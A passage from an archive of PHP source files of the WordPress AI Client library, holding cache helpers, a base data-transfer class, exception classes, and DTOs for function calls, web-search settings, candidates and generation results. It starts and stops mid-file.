return $this->localCache[$fullKey] ?? $default;
}
/**
* Sets a value in the cache.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @param mixed $value The value to cache.
* @param int|\DateInterval|null $ttl The TTL for the cache entry, or null for default. Ignored for local cache.
* @return bool True on success, false on failure.
*/
protected function setCache(string $key, $value, $ttl = null): bool
{
$fullKey = $this->buildCacheKey($key);
$cache = AiClient::getCache();
if ($cache !== null) {
return $cache->set($fullKey, $value, $ttl);
}
$this->localCache[$fullKey] = $value;
return \true;
}
/**
* Invalidates all caches managed by this object.
*
* @since 0.4.0
*
* @return void
*/
public function invalidateCaches(): void
{
foreach ($this->getCachedKeys() as $key) {
$this->clearCache($key);
}
}
/**
* Clears a value from the cache.
*
* @since 0.4.0
*
* @param string $key The cache key suffix (will be appended to the base key).
* @return bool True on success, false on failure.
*/
protected function clearCache(string $key): bool
{
$fullKey = $this->buildCacheKey($key);
$cache = AiClient::getCache();
if ($cache !== null) {
return $cache->delete($fullKey);
}
unset($this->localCache[$fullKey]);
return \true;
}
/**
* Builds the full cache key by combining the base key with the suffix.
*
* @since 0.4.0
*
* @param string $key The cache key suffix.
* @return string The full cache key.
*/
private function buildCacheKey(string $key): string
{
return $this->getBaseCacheKey() . '_' . $key;
}
}
src/Common/AbstractDataTransferObject.php 0000644 00000011175 15220530455 0014473 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common;
use JsonSerializable;
use stdClass;
use WordPress\AiClient\Common\Contracts\WithArrayTransformationInterface;
use WordPress\AiClient\Common\Contracts\WithJsonSchemaInterface;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
* Abstract base class for all Data Value Objects in the AI Client.
*
* This abstract class consolidates the common functionality needed by all
* data transfer objects:
* - Array transformation for data manipulation
* - JSON schema support for validation and documentation
* - JSON serialization with proper empty object handling
*
* All DTOs in the AI Client should extend this class to ensure
* consistent behavior across the codebase.
*
* @since 0.1.0
*
* @template TArrayShape of array<string, mixed>
* @implements WithArrayTransformationInterface<TArrayShape>
*/
abstract class AbstractDataTransferObject implements WithArrayTransformationInterface, WithJsonSchemaInterface, JsonSerializable
{
/**
* Validates that required keys exist in the array data.
*
* @since 0.1.0
*
* @param array<mixed> $data The array data to validate.
* @param string[] $requiredKeys The keys that must be present.
* @throws InvalidArgumentException If any required key is missing.
*/
protected static function validateFromArrayData(array $data, array $requiredKeys): void
{
$missingKeys = [];
foreach ($requiredKeys as $key) {
if (!array_key_exists($key, $data)) {
$missingKeys[] = $key;
}
}
if (!empty($missingKeys)) {
throw new InvalidArgumentException(sprintf('%s::fromArray() missing required keys: %s', static::class, implode(', ', $missingKeys)));
}
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function isArrayShape(array $array): bool
{
try {
/** @var TArrayShape $array */
static::fromArray($array);
return \true;
} catch (InvalidArgumentException $e) {
return \false;
}
}
/**
* Converts the object to a JSON-serializable format.
*
* This method uses the toArray() method and then processes the result
* based on the JSON schema to ensure proper object representation for
* empty arrays.
*
* @since 0.1.0
*
* @return mixed The JSON-serializable representation.
*/
#[\ReturnTypeWillChange]
public function jsonSerialize()
{
$data = $this->toArray();
$schema = static::getJsonSchema();
return $this->convertEmptyArraysToObjects($data, $schema);
}
/**
* Recursively converts empty arrays to stdClass objects where the schema expects objects.
*
* @since 0.1.0
*
* @param mixed $data The data to process.
* @param array<mixed, mixed> $schema The JSON schema for the data.
* @return mixed The processed data.
*/
private function convertEmptyArraysToObjects($data, array $schema)
{
// If data is an empty array and schema expects object, convert to stdClass
if (is_array($data) && empty($data) && isset($schema['type']) && $schema['type'] === 'object') {
return new stdClass();
}
// If data is an array with content, recursively process nested structures
if (is_array($data)) {
// Handle object properties
if (isset($schema['properties']) && is_array($schema['properties'])) {
foreach ($data as $key => $value) {
if (isset($schema['properties'][$key]) && is_array($schema['properties'][$key])) {
$data[$key] = $this->convertEmptyArraysToObjects($value, $schema['properties'][$key]);
}
}
}
// Handle array items
if (isset($schema['items']) && is_array($schema['items'])) {
foreach ($data as $index => $item) {
$data[$index] = $this->convertEmptyArraysToObjects($item, $schema['items']);
}
}
// Handle oneOf/anyOf schemas - just use the first one
foreach (['oneOf', 'anyOf'] as $keyword) {
if (isset($schema[$keyword]) && is_array($schema[$keyword])) {
foreach ($schema[$keyword] as $possibleSchema) {
if (is_array($possibleSchema)) {
return $this->convertEmptyArraysToObjects($data, $possibleSchema);
}
}
}
}
}
return $data;
}
}
src/Common/Exception/TokenLimitReachedException.php 0000644 00000002616 15220530455 0016452 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common\Exception;
/**
* Exception thrown when a token limit is reached during prompt fulfillment.
*
* Providers should throw this exception when the token usage for a request
* exceeds the allowed limit, whether that is the model's context window
* or a configured maximum.
*
* @since 1.0.0
*/
class TokenLimitReachedException extends \WordPress\AiClient\Common\Exception\RuntimeException
{
/**
* The token limit that was reached, if known.
*
* @since 1.0.0
*
* @var int|null
*/
private $maxTokens;
/**
* Creates a new TokenLimitReachedException.
*
* @since 1.0.0
*
* @param string $message The exception message.
* @param int|null $maxTokens The token limit that was reached, if known.
* @param \Throwable|null $previous The previous throwable used for exception chaining.
*/
public function __construct(string $message = '', ?int $maxTokens = null, ?\Throwable $previous = null)
{
parent::__construct($message, 0, $previous);
$this->maxTokens = $maxTokens;
}
/**
* Returns the token limit that was reached, if known.
*
* @since 1.0.0
*
* @return int|null The token limit, or null if not provided.
*/
public function getMaxTokens(): ?int
{
return $this->maxTokens;
}
}
src/Common/Exception/InvalidArgumentException.php 0000644 00000000747 15220530455 0016213 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common\Exception;
use WordPress\AiClient\Common\Contracts\AiClientExceptionInterface;
/**
* Exception thrown when an invalid argument is provided.
*
* This extends PHP's built-in InvalidArgumentException while implementing
* the AI Client exception interface for consistent catch handling.
*
* @since 0.2.0
*/
class InvalidArgumentException extends \InvalidArgumentException implements AiClientExceptionInterface
{
}
src/Common/Exception/RuntimeException.php 0000644 00000000675 15220530455 0014545 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Common\Exception;
use WordPress\AiClient\Common\Contracts\AiClientExceptionInterface;
/**
* Exception thrown for runtime errors.
*
* This extends PHP's built-in RuntimeException while implementing
* the AI Client exception interface for consistent catch handling.
*
* @since 0.2.0
*/
class RuntimeException extends \RuntimeException implements AiClientExceptionInterface
{
}
src/Tools/DTO/FunctionDeclaration.php 0000644 00000007005 15220530455 0013530 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Tools\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
/**
* Represents a function declaration for AI models.
*
* This DTO describes a function that can be called by the AI model,
* including its name, description, and parameter schema.
*
* @since 0.1.0
*
* @phpstan-type FunctionDeclarationArrayShape array{
* name: string,
* description: string,
* parameters?: array<string, mixed>
* }
*
* @extends AbstractDataTransferObject<FunctionDeclarationArrayShape>
*/
class FunctionDeclaration extends AbstractDataTransferObject
{
public const KEY_NAME = 'name';
public const KEY_DESCRIPTION = 'description';
public const KEY_PARAMETERS = 'parameters';
/**
* @var string The name of the function.
*/
private string $name;
/**
* @var string A description of what the function does.
*/
private string $description;
/**
* @var array<string, mixed>|null The JSON schema for the function parameters.
*/
private ?array $parameters;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $name The name of the function.
* @param string $description A description of what the function does.
* @param array<string, mixed>|null $parameters The JSON schema for the function parameters.
*/
public function __construct(string $name, string $description, ?array $parameters = null)
{
$this->name = $name;
$this->description = $description;
$this->parameters = $parameters;
}
/**
* Gets the function name.
*
* @since 0.1.0
*
* @return string The function name.
*/
public function getName(): string
{
return $this->name;
}
/**
* Gets the function description.
*
* @since 0.1.0
*
* @return string The function description.
*/
public function getDescription(): string
{
return $this->description;
}
/**
* Gets the function parameters schema.
*
* @since 0.1.0
*
* @return array<string, mixed>|null The parameters schema.
*/
public function getParameters(): ?array
{
return $this->parameters;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'A description of what the function does.'], self::KEY_PARAMETERS => ['type' => 'object', 'description' => 'The JSON schema for the function parameters.', 'additionalProperties' => \true]], 'required' => [self::KEY_NAME, self::KEY_DESCRIPTION]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return FunctionDeclarationArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description];
if ($this->parameters !== null) {
$data[self::KEY_PARAMETERS] = $this->parameters;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_NAME, self::KEY_DESCRIPTION]);
return new self($array[self::KEY_NAME], $array[self::KEY_DESCRIPTION], $array[self::KEY_PARAMETERS] ?? null);
}
}
src/Tools/DTO/FunctionResponse.php 0000644 00000007313 15220530455 0013103 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Tools\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
* Represents a response to a function call.
*
* This DTO encapsulates the result of executing a function that was
* requested by the AI model through a FunctionCall.
*
* @since 0.1.0
*
* @phpstan-type FunctionResponseArrayShape array{id?: string, name?: string, response: mixed}
*
* @extends AbstractDataTransferObject<FunctionResponseArrayShape>
*/
class FunctionResponse extends AbstractDataTransferObject
{
public const KEY_ID = 'id';
public const KEY_NAME = 'name';
public const KEY_RESPONSE = 'response';
/**
* @var string|null The ID of the function call this is responding to.
*/
private ?string $id;
/**
* @var string|null The name of the function that was called.
*/
private ?string $name;
/**
* @var mixed The response data from the function.
*/
private $response;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string|null $id The ID of the function call this is responding to.
* @param string|null $name The name of the function that was called.
* @param mixed $response The response data from the function.
* @throws InvalidArgumentException If neither id nor name is provided.
*/
public function __construct(?string $id, ?string $name, $response)
{
if ($id === null && $name === null) {
throw new InvalidArgumentException('At least one of id or name must be provided.');
}
$this->id = $id;
$this->name = $name;
$this->response = $response;
}
/**
* Gets the function call ID.
*
* @since 0.1.0
*
* @return string|null The function call ID.
*/
public function getId(): ?string
{
return $this->id;
}
/**
* Gets the function name.
*
* @since 0.1.0
*
* @return string|null The function name.
*/
public function getName(): ?string
{
return $this->name;
}
/**
* Gets the function response.
*
* @since 0.1.0
*
* @return mixed The response data.
*/
public function getResponse()
{
return $this->response;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The ID of the function call this is responding to.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function that was called.'], self::KEY_RESPONSE => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The response data from the function.']], 'anyOf' => [['required' => [self::KEY_RESPONSE, self::KEY_ID]], ['required' => [self::KEY_RESPONSE, self::KEY_NAME]]]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return FunctionResponseArrayShape
*/
public function toArray(): array
{
$data = [];
if ($this->id !== null) {
$data[self::KEY_ID] = $this->id;
}
if ($this->name !== null) {
$data[self::KEY_NAME] = $this->name;
}
$data[self::KEY_RESPONSE] = $this->response;
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_RESPONSE]);
return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_RESPONSE]);
}
}
src/Tools/DTO/FunctionCall.php 0000644 00000007133 15220530455 0012160 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Tools\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
* Represents a function call request from an AI model.
*
* This DTO encapsulates information about a function that the AI model
* wants to invoke, including the function name and its arguments.
*
* @since 0.1.0
*
* @phpstan-type FunctionCallArrayShape array{id?: string, name?: string, args?: mixed}
*
* @extends AbstractDataTransferObject<FunctionCallArrayShape>
*/
class FunctionCall extends AbstractDataTransferObject
{
public const KEY_ID = 'id';
public const KEY_NAME = 'name';
public const KEY_ARGS = 'args';
/**
* @var string|null Unique identifier for this function call.
*/
private ?string $id;
/**
* @var string|null The name of the function to call.
*/
private ?string $name;
/**
* @var mixed The arguments to pass to the function.
*/
private $args;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string|null $id Unique identifier for this function call.
* @param string|null $name The name of the function to call.
* @param mixed $args The arguments to pass to the function.
* @throws InvalidArgumentException If neither id nor name is provided.
*/
public function __construct(?string $id = null, ?string $name = null, $args = null)
{
if ($id === null && $name === null) {
throw new InvalidArgumentException('At least one of id or name must be provided.');
}
$this->id = $id;
$this->name = $name;
$this->args = $args;
}
/**
* Gets the function call ID.
*
* @since 0.1.0
*
* @return string|null The function call ID.
*/
public function getId(): ?string
{
return $this->id;
}
/**
* Gets the function name.
*
* @since 0.1.0
*
* @return string|null The function name.
*/
public function getName(): ?string
{
return $this->name;
}
/**
* Gets the function arguments.
*
* @since 0.1.0
*
* @return mixed The function arguments.
*/
public function getArgs()
{
return $this->args;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this function call.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The name of the function to call.'], self::KEY_ARGS => ['type' => ['string', 'number', 'boolean', 'object', 'array', 'null'], 'description' => 'The arguments to pass to the function.']], 'anyOf' => [['required' => [self::KEY_ID]], ['required' => [self::KEY_NAME]]]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return FunctionCallArrayShape
*/
public function toArray(): array
{
$data = [];
if ($this->id !== null) {
$data[self::KEY_ID] = $this->id;
}
if ($this->name !== null) {
$data[self::KEY_NAME] = $this->name;
}
if ($this->args !== null) {
$data[self::KEY_ARGS] = $this->args;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
return new self($array[self::KEY_ID] ?? null, $array[self::KEY_NAME] ?? null, $array[self::KEY_ARGS] ?? null);
}
}
src/Tools/DTO/WebSearch.php 0000644 00000005502 15220530455 0011440 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Tools\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
/**
* Represents web search configuration for AI models.
*
* This DTO defines constraints for web searches that AI models can perform,
* including allowed and disallowed domains.
*
* @since 0.1.0
*
* @phpstan-type WebSearchArrayShape array{allowedDomains?: string[], disallowedDomains?: string[]}
*
* @extends AbstractDataTransferObject<WebSearchArrayShape>
*/
class WebSearch extends AbstractDataTransferObject
{
public const KEY_ALLOWED_DOMAINS = 'allowedDomains';
public const KEY_DISALLOWED_DOMAINS = 'disallowedDomains';
/**
* @var string[] List of domains that are allowed for web search.
*/
private array $allowedDomains;
/**
* @var string[] List of domains that are disallowed for web search.
*/
private array $disallowedDomains;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string[] $allowedDomains List of domains that are allowed for web search.
* @param string[] $disallowedDomains List of domains that are disallowed for web search.
*/
public function __construct(array $allowedDomains = [], array $disallowedDomains = [])
{
$this->allowedDomains = $allowedDomains;
$this->disallowedDomains = $disallowedDomains;
}
/**
* Gets the allowed domains.
*
* @since 0.1.0
*
* @return string[] The allowed domains.
*/
public function getAllowedDomains(): array
{
return $this->allowedDomains;
}
/**
* Gets the disallowed domains.
*
* @since 0.1.0
*
* @return string[] The disallowed domains.
*/
public function getDisallowedDomains(): array
{
return $this->disallowedDomains;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are allowed for web search.'], self::KEY_DISALLOWED_DOMAINS => ['type' => 'array', 'items' => ['type' => 'string'], 'description' => 'List of domains that are disallowed for web search.']], 'required' => []];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return WebSearchArrayShape
*/
public function toArray(): array
{
return [self::KEY_ALLOWED_DOMAINS => $this->allowedDomains, self::KEY_DISALLOWED_DOMAINS => $this->disallowedDomains];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
return new self($array[self::KEY_ALLOWED_DOMAINS] ?? [], $array[self::KEY_DISALLOWED_DOMAINS] ?? []);
}
}
src/Results/Enums/FinishReasonEnum.php 0000644 00000002616 15220530455 0014017 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Results\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Enum for finish reasons of AI generation.
*
* @since 0.1.0
*
* @method static self stop() Creates an instance for STOP reason.
* @method static self length() Creates an instance for LENGTH reason.
* @method static self contentFilter() Creates an instance for CONTENT_FILTER reason.
* @method static self toolCalls() Creates an instance for TOOL_CALLS reason.
* @method static self error() Creates an instance for ERROR reason.
* @method bool isStop() Checks if the reason is STOP.
* @method bool isLength() Checks if the reason is LENGTH.
* @method bool isContentFilter() Checks if the reason is CONTENT_FILTER.
* @method bool isToolCalls() Checks if the reason is TOOL_CALLS.
* @method bool isError() Checks if the reason is ERROR.
*/
class FinishReasonEnum extends AbstractEnum
{
/**
* Generation stopped naturally.
*/
public const STOP = 'stop';
/**
* Generation stopped due to max length.
*/
public const LENGTH = 'length';
/**
* Generation stopped due to content filter.
*/
public const CONTENT_FILTER = 'content_filter';
/**
* Generation stopped to make tool calls.
*/
public const TOOL_CALLS = 'tool_calls';
/**
* Generation stopped due to error.
*/
public const ERROR = 'error';
}
src/Results/Contracts/ResultInterface.php 0000644 00000002571 15220530455 0014552 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Results\Contracts;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Results\DTO\TokenUsage;
/**
* Interface for AI operation results.
*
* Results contain the output from AI operations along with metadata
* such as token usage and provider-specific information.
*
* @since 0.1.0
*/
interface ResultInterface
{
/**
* Gets the result ID.
*
* @since 0.1.0
*
* @return string The unique result identifier.
*/
public function getId(): string;
/**
* Gets token usage information.
*
* @since 0.1.0
*
* @return TokenUsage Token usage statistics.
*/
public function getTokenUsage(): TokenUsage;
/**
* Gets the provider metadata.
*
* @since 0.1.0
*
* @return ProviderMetadata The provider metadata.
*/
public function getProviderMetadata(): ProviderMetadata;
/**
* Gets the model metadata.
*
* @since 0.1.0
*
* @return ModelMetadata The model metadata.
*/
public function getModelMetadata(): ModelMetadata;
/**
* Gets provider-specific metadata.
*
* @since 0.1.0
*
* @return array<string, mixed> Provider metadata.
*/
public function getAdditionalData(): array;
}
src/Results/DTO/Candidate.php 0000644 00000006647 15220530455 0012025 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Results\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\Enums\FinishReasonEnum;
/**
* Represents a candidate response from an AI model.
*
* When generating content, AI models can produce multiple candidates.
* Each candidate contains a message and metadata about why generation stopped.
*
* @since 0.1.0
*
* @phpstan-import-type MessageArrayShape from Message
*
* @phpstan-type CandidateArrayShape array{message: MessageArrayShape, finishReason: string}
*
* @extends AbstractDataTransferObject<CandidateArrayShape>
*/
class Candidate extends AbstractDataTransferObject
{
public const KEY_MESSAGE = 'message';
public const KEY_FINISH_REASON = 'finishReason';
/**
* @var Message The generated message.
*/
private Message $message;
/**
* @var FinishReasonEnum The reason generation stopped.
*/
private FinishReasonEnum $finishReason;
/**
* Constructor.
*
* @since 0.1.0
*
* @param Message $message The generated message.
* @param FinishReasonEnum $finishReason The reason generation stopped.
*/
public function __construct(Message $message, FinishReasonEnum $finishReason)
{
if (!$message->getRole()->isModel()) {
throw new InvalidArgumentException('Message must be a model message.');
}
$this->message = $message;
$this->finishReason = $finishReason;
}
/**
* Gets the generated message.
*
* @since 0.1.0
*
* @return Message The message.
*/
public function getMessage(): Message
{
return $this->message;
}
/**
* Gets the finish reason.
*
* @since 0.1.0
*
* @return FinishReasonEnum The finish reason.
*/
public function getFinishReason(): FinishReasonEnum
{
return $this->finishReason;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_MESSAGE => Message::getJsonSchema(), self::KEY_FINISH_REASON => ['type' => 'string', 'enum' => FinishReasonEnum::getValues(), 'description' => 'The reason generation stopped.']], 'required' => [self::KEY_MESSAGE, self::KEY_FINISH_REASON]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return CandidateArrayShape
*/
public function toArray(): array
{
return [self::KEY_MESSAGE => $this->message->toArray(), self::KEY_FINISH_REASON => $this->finishReason->value];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_MESSAGE, self::KEY_FINISH_REASON]);
$messageData = $array[self::KEY_MESSAGE];
return new self(Message::fromArray($messageData), FinishReasonEnum::from($array[self::KEY_FINISH_REASON]));
}
/**
* Performs a deep clone of the candidate.
*
* This method ensures that the message object is cloned to prevent
* modifications to the cloned candidate from affecting the original.
*
* @since 0.4.2
*/
public function __clone()
{
$this->message = clone $this->message;
}
}
src/Results/DTO/GenerativeAiResult.php 0000644 00000032757 15220530455 0013714 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Results\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Results\Contracts\ResultInterface;
/**
* Represents the result of a generative AI operation.
*
* This DTO contains the generated candidates along with usage statistics
* and metadata from the AI provider.
*
* @since 0.1.0
*
* @phpstan-import-type CandidateArrayShape from Candidate
* @phpstan-import-type TokenUsageArrayShape from TokenUsage
* @phpstan-import-type ProviderMetadataArrayShape from ProviderMetadata
* @phpstan-import-type ModelMetadataArrayShape from ModelMetadata
*
* @phpstan-type GenerativeAiResultArrayShape array{
* id: string,
* candidates: array<CandidateArrayShape>,
* tokenUsage: TokenUsageArrayShape,
* providerMetadata: ProviderMetadataArrayShape,
* modelMetadata: ModelMetadataArrayShape,
* additionalData?: array<string, mixed>
* }
*
* @extends AbstractDataTransferObject<GenerativeAiResultArrayShape>
*/
class GenerativeAiResult extends AbstractDataTransferObject implements ResultInterface
{
public const KEY_ID = 'id';
public const KEY_CANDIDATES = 'candidates';
public const KEY_TOKEN_USAGE = 'tokenUsage';
public const KEY_PROVIDER_METADATA = 'providerMetadata';
public const KEY_MODEL_METADATA = 'modelMetadata';
public const KEY_ADDITIONAL_DATA = 'additionalData';
/**
* @var string Unique identifier for this result.
*/
private string $id;
/**
* @var Candidate[] The generated candidates.
*/
private array $candidates;
/**
* @var TokenUsage Token usage statistics.
*/
private \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage;
/**
* @var ProviderMetadata Provider metadata.
*/
private ProviderMetadata $providerMetadata;
/**
* @var ModelMetadata Model metadata.
*/
private ModelMetadata $modelMetadata;
/**
* @var array<string, mixed> Additional data.
*/
private array $additionalData;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $id Unique identifier for this result.
* @param Candidate[] $candidates The generated candidates.
* @param TokenUsage $tokenUsage Token usage statistics.
* @param ProviderMetadata $providerMetadata Provider metadata.
* @param ModelMetadata $modelMetadata Model metadata.
* @param array<string, mixed> $additionalData Additional data.
* @throws InvalidArgumentException If no candidates provided.
*/
public function __construct(string $id, array $candidates, \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage, ProviderMetadata $providerMetadata, ModelMetadata $modelMetadata, array $additionalData = [])
{
if (empty($candidates)) {
throw new InvalidArgumentException('At least one candidate must be provided');
}
$this->id = $id;
$this->candidates = $candidates;
$this->tokenUsage = $tokenUsage;
$this->providerMetadata = $providerMetadata;
$this->modelMetadata = $modelMetadata;
$this->additionalData = $additionalData;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getId(): string
{
return $this->id;
}
/**
* Gets the generated candidates.
*
* @since 0.1.0
*
* @return Candidate[] The candidates.
*/
public function getCandidates(): array
{
return $this->candidates;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getTokenUsage(): \WordPress\AiClient\Results\DTO\TokenUsage
{
return $this->tokenUsage;
}
/**
* Gets the provider metadata.
*
* @since 0.1.0
*
* @return ProviderMetadata The provider metadata.
*/
public function getProviderMetadata(): ProviderMetadata
{
return $this->providerMetadata;
}
/**
* Gets the model metadata.
*
* @since 0.1.0
*
* @return ModelMetadata The model metadata.
*/
public function getModelMetadata(): ModelMetadata
{
return $this->modelMetadata;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getAdditionalData(): array
{
return $this->additionalData;
}
/**
* Gets the total number of candidates.
*
* @since 0.1.0
*
* @return int The total number of candidates.
*/
public function getCandidateCount(): int
{
return count($this->candidates);
}
/**
* Checks if the result has multiple candidates.
*
* @since 0.1.0
*
* @return bool True if there are multiple candidates, false otherwise.
*/
public function hasMultipleCandidates(): bool
{
return $this->getCandidateCount() > 1;
}
/**
* Converts the first candidate to text.
*
* Only text from the content channel is considered. Text within model thought or reasoning is ignored.
*
* @since 0.1.0
*
* @return string The text content.
* @throws RuntimeException If no text content.
*/
public function toText(): string
{
$message = $this->candidates[0]->getMessage();
foreach ($message->getParts() as $part) {
$channel = $part->getChannel();
$text = $part->getText();
if ($channel->isContent() && $text !== null) {
return $text;
}
}
throw new RuntimeException('No text content found in first candidate');
}
/**
* Converts the first candidate to a file.
*
* Only files from the content channel are considered. Files within model thought or reasoning are ignored.
*
* @since 0.1.0
*
* @return File The file.
* @throws RuntimeException If no file content.
*/
public function toFile(): File
{
$message = $this->candidates[0]->getMessage();
foreach ($message->getParts() as $part) {
$channel = $part->getChannel();
$file = $part->getFile();
if ($channel->isContent() && $file !== null) {
return $file;
}
}
throw new RuntimeException('No file content found in first candidate');
}
/**
* Converts the first candidate to an image file.
*
* @since 0.1.0
*
* @return File The image file.
* @throws RuntimeException If no image content.
*/
public function toImageFile(): File
{
$file = $this->toFile();
if (!$file->isImage()) {
throw new RuntimeException(sprintf('File is not an image. MIME type: %s', $file->getMimeType()));
}
return $file;
}
/**
* Converts the first candidate to an audio file.
*
* @since 0.1.0
*
* @return File The audio file.
* @throws RuntimeException If no audio content.
*/
public function toAudioFile(): File
{
$file = $this->toFile();
if (!$file->isAudio()) {
throw new RuntimeException(sprintf('File is not an audio file. MIME type: %s', $file->getMimeType()));
}
return $file;
}
/**
* Converts the first candidate to a video file.
*
* @since 0.1.0
*
* @return File The video file.
* @throws RuntimeException If no video content.
*/
public function toVideoFile(): File
{
$file = $this->toFile();
if (!$file->isVideo()) {
throw new RuntimeException(sprintf('File is not a video file. MIME type: %s', $file->getMimeType()));
}
return $file;
}
/**
* Converts the first candidate to a message.
*
* @since 0.1.0
*
* @return Message The message.
*/
public function toMessage(): Message
{
return $this->candidates[0]->getMessage();
}
/**
* Converts all candidates to text.
*
* @since 0.1.0
*
* @return list<string> Array of text content.
*/
public function toTexts(): array
{
$texts = [];
foreach ($this->candidates as $candidate) {
$message = $candidate->getMessage();
foreach ($message->getParts() as $part) {
$channel = $part->getChannel();
$text = $part->getText();
if ($channel->isContent() && $text !== null) {
$texts[] = $text;
break;
}
}
}
return $texts;
}
/**
* Converts all candidates to files.
*
* @since 0.1.0
*
* @return list<File> Array of files.
*/
public function toFiles(): array
{
$files = [];
foreach ($this->candidates as $candidate) {
$message = $candidate->getMessage();
foreach ($message->getParts() as $part) {
$channel = $part->getChannel();
$file = $part->getFile();
if ($channel->isContent() && $file !== null) {
$files[] = $file;
break;
}
}
}
return $files;
}
/**
* Converts all candidates to image files.
*
* @since 0.1.0
*
* @return list<File> Array of image files.
*/
public function toImageFiles(): array
{
return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isImage()));
}
/**
* Converts all candidates to audio files.
*
* @since 0.1.0
*
* @return list<File> Array of audio files.
*/
public function toAudioFiles(): array
{
return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isAudio()));
}
/**
* Converts all candidates to video files.
*
* @since 0.1.0
*
* @return list<File> Array of video files.
*/
public function toVideoFiles(): array
{
return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isVideo()));
}
/**
* Converts all candidates to messages.
*
* @since 0.1.0
*
* @return list<Message> Array of messages.
*/
public function toMessages(): array
{
return array_values(array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->getMessage(), $this->candidates));
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
